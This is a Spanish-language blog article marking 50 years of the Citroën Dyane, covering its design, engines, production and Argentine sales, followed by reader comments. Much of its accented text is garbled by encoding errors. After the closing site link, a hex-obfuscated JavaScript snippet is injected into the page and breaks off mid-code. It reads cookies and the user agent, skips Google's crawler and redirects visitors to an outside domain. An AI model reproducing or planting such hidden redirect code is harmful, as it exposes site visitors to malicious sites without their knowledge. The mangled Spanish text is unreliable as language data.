Los 50 aAi??os del Dyane

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Cuando en el aAi??o 1964 los responsables de CitroAi??n se sentaron a la mesa de una de sus habituales reuniones de directorio, definieron que se necesitaba ofrecer algA?n producto que se ubicara entre el popular 2 CV y el revolucionario DS. No faltaron ideas y de inmediato se definieron varios preceptos para abrazar de buenos argumentos al nuevo producto. DebAi??a tener una quinta puerta tipo hatchback a fin de otorgarle una nueva practicidad y posibilidades de carga, un motor mA?s potente pero que no excediera los dos caballos fiscales franceses ai??i??y asAi?? pagar menos impuestos que sus rivalesai??i??, y la simpleza y versatilidad ya conocidas en el 2 CV. Todo eso en una presentaciA?n mA?s chic, mA?s elaborada, sin olvidar su ADN de automA?vil utilitario.

Por otra parte, para poder ofrecerlo al pA?blico a un precio competitivo, se definiA? que debAi??a asentarse en elementos ya probados en el 2 CV y en el AMI. Las dimensiones externas debAi??an ser similares tambiAi??n al primero, para asAi?? poder aprovechar las lAi??neas de montaje ya existentes, lo que redundaba en menor necesidad de inversiA?n industrial y la posibilidad de diversificar su producciA?n en diferentes plantas de Europa y Asia.

Bajo la tutela del entonces director de CitroAi??n, Pierre Bercot, los diferentes departamentos de la fA?brica se pusieron manos a la obra. De la cuestiA?n estAi??tica, en un comienzo, se ocuparon los diseAi??adores de Panhard, fabricante de autos francesa por entonces reciAi??n adquirida por la marca del “double chevron”. AllAi?? se propusieron algunos de sus puntos nodales, como las formas trapezoides o en V que caracterizan a sus diferentes paneles, identidad que llegarAi??a a la ansiada masificaciA?n. Ya en una etapa avanzada el proyecto regresA? al estudio de diseAi??o de CitroAi??n y allAi?? se definieron otras caracterAi??sticas esenciales como los faros y su marco cuadrado integrados en los guardabarros, el capot formando su caracterAi??stica nariz negativa o las puertas de forma cA?ncava, soluciA?n que aportaba rigidez y, segA?n sus mentores, aislaciA?n de ruidos provenientes del exterior. El portA?n recto que incluAi??a la luneta y pivotaba sobre la parte posterior, abrAi??a un mundo nuevo a las posibilidades de carga. Y la lona enrollable sobre el techo, un mundo nuevo para contemplar y disfrutar ahAi?? arriba, regalA?ndole a los pasajeros la misma sensaciA?n de libertad de la que siempre presumiA? el 2 CV.

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Todo estuvo pronto para su lanzamiento, a tiempo para el SalA?n de ParAi??s de 1967, equipado en un principio con un motor de dos cilindros opuesto y 425 cc. que enseguida verAi??a crecer su cilindrada a 435 cc. Al aAi??o siguiente, otro de los herederos en vida del 2 CV, el CitroAi??n AMI comenzarAi??a a prestarle su impulsor de 602 cc. que, con 28 caballos, le permitAi??a alcanzar los 115 km/h. Su precio superior al del “dos caballos” no se basaba en la novedad estAi??tica, o en la posibilidad de disponer de mayores prestaciones. Era notorio que, como se planteaba desde el vamos en el proyecto: era un vehAi??culo de una calidad de construcciA?n superior, con mejor equipamiento y con materiales muy esmerados.

Con diferentes evoluciones tAi??cnicas y algunas leves intervenciones estAi??ticas, el modelo se mantuvo vigente por largas temporadas, alcanzando una longevidad envidiable, pues los A?ltimos saldrAi??an de la lAi??nea de montaje en el aAi??o 1983. MA?s aA?n, la derivaciA?n comercial del Dyane, llamada Acadiane ai??i??aparecida en el aAi??o 1979ai??i??, se mantuvo en producciA?n hasta el aAi??o 1987, exactamente dos dAi??cadas despuAi??s del nacimiento del modelo del cual derivaba de manera directa.

A lo largo de sus 16 aAi??os de vigencia comercial el Dyane se fabricA? en las plantas de Rennes en Francia, Vigo en EspaAi??a, Mangualde en Portugal, Koper en la entonces Yugoslavia, luego Eslovenia, y en la planta de SAIPA, en IrA?n. En total se produjeron 1.443.493 unidades.

El mercado argentino tambiAi??n hizo su aporte en la exitosa trayectoria comercial del modelo. Con la apertura de las importaciones en la “Plata Dulce”, CitroAi??n decidiA? comercializar este modelo, traAi??do de Europa, junto a sus contemporA?neos Visa, GS, GSA o CX. El Dyane fue un modelo que generA? mucha fidelidad entre sus propietarios locales y hoy dAi??a es un modelo buscado y valorado entre los coleccionistas. Como dato de color para cerrar esta efemAi??ride, un ejemplar en impecable estado, se luce en la sala de ventas del concesionario Lourdes, en la ciudad de Salta. Con muy pocos kilA?metros recorridos y manteniendo el original color “amarillo mimosa” y los alegres tapizados jersey con rayas en diferentes tonos de amarillo, naranja y negro (combinaciA?n que a nivel mundial se ofreciA? A?nicamente durante los aAi??os 1979 y 1980), se muestra orgulloso del lugar que ocupA? en su Ai??poca y del legado que proyecta en los modelos mA?s recientes que lo acompaAi??an.

Medio siglo del CitroAi??n Dyane, A?mucho que celebrar!

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Para repasar la historia del Dyane (http://www.citroenorigins.com.ar/es-ar/vehicule/dyane-0) y otros modelos histA?ricos de CitroAi??n, los invitamos a visitar http://www.citroenorigins.com.arvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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9 Comentarios, RSS

  1. MATIASS 13/05/2017 @ 11:26 pm

    Linda nota, admiro mas a estos simples utilitarios clásicos que superdeportivos legendarios.
    Bastante mas agraciado que el Ami, le quedaba muy bien el “azul laguna” uno de los mas vistos por aquí, junto al amarillo mimosa y el anaranjado.
    Seria interesante una nota sobre el Ami 8, otro gran modelo de la casa.

  2. Güilbeis 14/05/2017 @ 10:31 am

    Increíble estado de ese auto.
    Chicos, el recurso de las bandas blancas colocadas en un auto en cuya época ya no se usaban, no dan chapa de clásico y demeritan la imagen del auto.

    • Alvaro 15/05/2017 @ 10:12 am

      Coincido con el comentario sobre la banda blanca, pero parece que ahora muchos consideran que le otorga más categoría y valor….hasta a las pick-up y a los autos deportivos se las colocan !!!
      P.D: En los años ’60/70 los jóvenes dabamos vuelta las cubiertas que venían en los autos de fábrica con banda blanca para que no se vieran…

  3. luis 14/05/2017 @ 3:50 pm

    coincido con darle valor al mérito que tiene elaborar bien, y lo mas lindo posible, un utilitario, donde, por motivos de costo, es otra la carne que se tira en el asador. Me parece que la reinterpretación del patiito feo estuvo muy bien apuntada (nadie lo deja de interpretar como otra citronave, pero muy bien aggiornada) En cuanto al ami, me parece espantosa la primera trompa (esa que parecía que se había derretido) bastante mejorada en la lavada de cara (que es la que conocimos acá), que, si bien no es lo mas logrado de la industria automotríz, la considero bastante pasable(especialmente con la primera parrilla metálica). En cuanto al lateral del mismo, creo que es bastante estilizado (raro en el de la luneta invertida) y diría que me gusta bastante. Aclaro que aprendí a manejar en un Ami, por lo que algunos conceptos pueden pecar de subjetivos.

  4. Leonardo de Souza 14/05/2017 @ 5:55 pm

    Regio Dyane!!

  5. e36 15/05/2017 @ 9:18 am

    Hermoso Dyane, lastima la banda blanca

  6. Fernando patrizio 15/05/2017 @ 10:24 pm

    Hermoso Dyane ! Idéntico al mio. Feliz cumple

  7. nicolas bonazzola 16/05/2017 @ 12:23 pm

    Aqui en Argentina el dyane era el mas avanzado de los derivados de 2cv.. de todas maneras en Europa el 2cv6 solo se diferenciaba por su carroceria.. porque mecanicamente eran iguales, tenian cerraduras “de auto” en las puertas, desempañador de luneta y demás…. Luis, a mi personalmente el ami 6 es el que más me gusta, es el más Bertoni de todos… y segun el cual su propio diseñador se sentia más orgulloso. y eso que el ID/DS no era moco de pavo!.

  8. Sergio 19/05/2017 @ 4:03 pm

    Pensar que venía a sustituir al 2CV4 y 2CV6, y termino dejándose de fabricar varios años antes. Las primeras versiones no tenían el tercer vidrio lateral. Fue una evolucion en diseño al Ami6 de Flaminio Bertoni, y dio algunos rasgos para el reemplazo de este, el Ami8. Muy buena nota!

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